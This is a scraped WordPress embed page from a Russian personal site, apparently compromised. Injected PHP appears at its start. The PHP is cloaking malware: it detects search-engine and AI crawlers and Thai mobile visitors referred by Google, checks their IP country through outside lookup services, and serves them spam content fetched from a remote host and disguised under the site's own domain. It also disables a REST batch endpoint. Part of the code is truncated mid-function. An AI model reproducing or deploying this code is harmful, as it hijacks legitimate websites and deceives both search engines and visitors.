$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); 1.0Вечный путь к совершенству https://www.vladimirkoskov.ruoleinikhttps://www.vladimirkoskov.ru/?author=1Homerich600338<blockquote class="wp-embedded-content" data-secret="mrA4gqGmPG"><a href="https://www.vladimirkoskov.ru/">Home</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://www.vladimirkoskov.ru/?embed=true#?secret=mrA4gqGmPG" width="600" height="338" title="«Home» — Вечный путь к совершенству " data-secret="mrA4gqGmPG" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script type="text/javascript"> /* <![CDATA[ */ /*! This file is auto-generated */ !function(d,l){"use strict";l.querySelector&&d.addEventListener&&"undefined"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i<o.length;i++)o[i].style.display="none";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute("style"),"height"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):"link"===t.message&&(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document); //# sourceURL=https://www.vladimirkoskov.ru/wp-includes/js/wp-embed.min.js /* ]]> */ </script>